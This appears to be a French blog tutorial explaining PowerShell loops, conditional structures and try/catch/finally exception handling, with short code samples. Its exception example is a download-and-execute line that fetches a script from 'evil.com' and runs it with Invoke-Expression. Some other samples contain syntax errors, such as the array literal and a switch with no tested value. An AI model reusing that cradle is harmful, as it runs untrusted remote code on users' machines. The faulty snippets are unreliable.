PowerShell – Boucles, structures conditionnelles, gestion des exceptions3 minute(s) de lecture

L’intérêt premier d’un ordinateur, c’est de pouvoir répéter et traiter des données de nombreuses fois dans un petit laps de temps, en PowerShell, des boucles et différentes structures permettent d’effectuer de genre d’opération.

Boucles

Il existe exactement 5 boucles différentes en PowerShell, 4 d’entre elles sont issue de .NET et une est une cmdlet, j’ai nommé: foreach, while, do while, for, et ForEach-Object. foreach permet d’itérer parmi les objets d’une Collections. La syntaxe est simple, le mot foreach est suivis d’entre parenthèse $objet in $collection puis entre accolade l’action à mener. Exemple:

[int[]] $array = @{1, 3, 6}

foreach ($n in $array) {

	$n * 2
}

while permet d’effectuer une action en boucle tant qu’une certaine condition est vérifiée. La syntaxe est similaire à foreach, simplement entre les parenthèses il faut inscrire une condition. Exemple:

$condition = 5

while ($condition -ne 0) {

	Write-Host "boucle while"
	$condition -= 1
}

do while est exactement similaire à while à la différence que la condition est effectuée à la fin, ce qui laisse au moins 1 exécution. Exemple:

$condition = 5

do {

	Write-Host "boucle do while"
} while ($condition -ne 5)

Il existe une autre forme de ce style do until qui reprend exactement la même syntaxe mais qui se répètera tant que la condition sera fausse.

La boucle for instancie une nouvelle variable, effectue un test conditionnel, puis incrémente la variable. La boucle est introduite par le mot for puis entre parenthèse la définition de la variable, puis la condition, enfin il faut incrémenter la variable, le tout est séparé par des points virgules. Ensuite entre accolades, il y aura les instructions à exécuter. La variable créée n’est pas supprimée après la fonction. Exemple:

for ($i = 0; $i -lt 5; $i ++) {

	$i
}

la boucle liée à la cmdlet ForEach-Object est une boucle foreach qui a besoin d’objet passé dans une pipeline. Son alias est %. Une variable $_ est créé pour chaque objet itérer. La cmdlet permet l’utilisation de scriptblock pour définir l’action à mener ainsi, il existe les arguments -BEGIN, -PROCESS, -END.
Exemple:

Get-Service | % -Process {$_.Status} # renvoie le statut de tous les services disponible sur la machine.

Pour sortir d’une boucle prématurément, comme dans beaucoup d’autres langages, il faut utiliser le mot réservé break.

Structures conditionnelles

Les structures conditionnelles sont indispensables dans un langage de programmation. La syntaxe de ces dernières est relativement simple en PowerShell: le mot réservé (if, elseif, else, switch) suivi d’entre parenthèses la condition si besoin, puis des accolades pour séparer les instructions à effectuer. Exemple:

$condition = 5

if ($condition -eq 3) {

      Write-Host "hello"
} elseif ($condition -lt 3) {

      Write-Host "hello world"
} else {

      Write-Host "it's long example"
} 

Il existe aussi en PowerShell une structure switch. Sa syntaxe est relativement simple: le mot réservé switch puis entre crochet les instructions. Ces dernières sont séparées en deux parties, la valeur de condition en 1 puis suivie d’un scriptblock, si une opération doit être fait si les conditions ne sont pas validées, il faudra utiliser default suivi d’un scriptblock pour l’instruction:

$condition = 5

switch {
	
	1 {Write-Host "hello"; break}
	2 {Write-Host "2"; break}
	5 {Write-Host "5"; break}
	default {Write-Host "default"}
}

Gestion des exceptions

Comme dans beaucoup de langage des exceptions font irruption lorsque la syntaxe n’est pas bien respectée, ou lorsque des erreurs surgissent (conversions par exemple). PowerShell n’est pas en reste car lui aussi permet de les gérer. Pour cela il existe une structure: try/catch/finally. Dans un premier temps on ouvre le bloc d’instruction avec try suivi de deux accolades entre lesquelles il y a le code à exécuter. Il faut impérativement fermer try avec catch ou finally; le premier exécute une instruction précise en cas d’une erreur (spécifié ou non), le deuxième définit une action qui, lancée obligatoirement avant que le programme ne se ferme. La syntaxe de finally est en tout point similaire à try, catch est un petit peu différent: catch [Exception 1],[Exception 2] {}, les exceptions ne sont pas obligatoirement à spécifier, sauf s’il est désiré d’en gérer une ou plusieurs en particulier. Il est possible d’utiliser plusieurs catch. Exemple:

Write-Host "start"

$object = New-Object System.Net.WebClient
$url = "http://evil.com/script.ps1"

try {

	Invoke-Expression $object.DownloadString($url)
} catch {

	Write-Host "failed"
} finally {

	Write-Host "done"
}

Il est aussi possible de générer ses propres exceptions ou d’interrompre du code, pour cela il existe deux manières. D’une part en utilisant la cmdlet Write-Error, un message peut être ajouté après l’appel de la cmdlet avec l’argument -Message, une exception particulière peut-être levée avec -Exception. D’autre part en utilisant le mot réservé throw suivi d’un message si voulu. Il aura pour effet de stopper le programme.

Le prochain article traitera des fonctions, des fonctions avancées et de l’aide intégrée de PowerShell.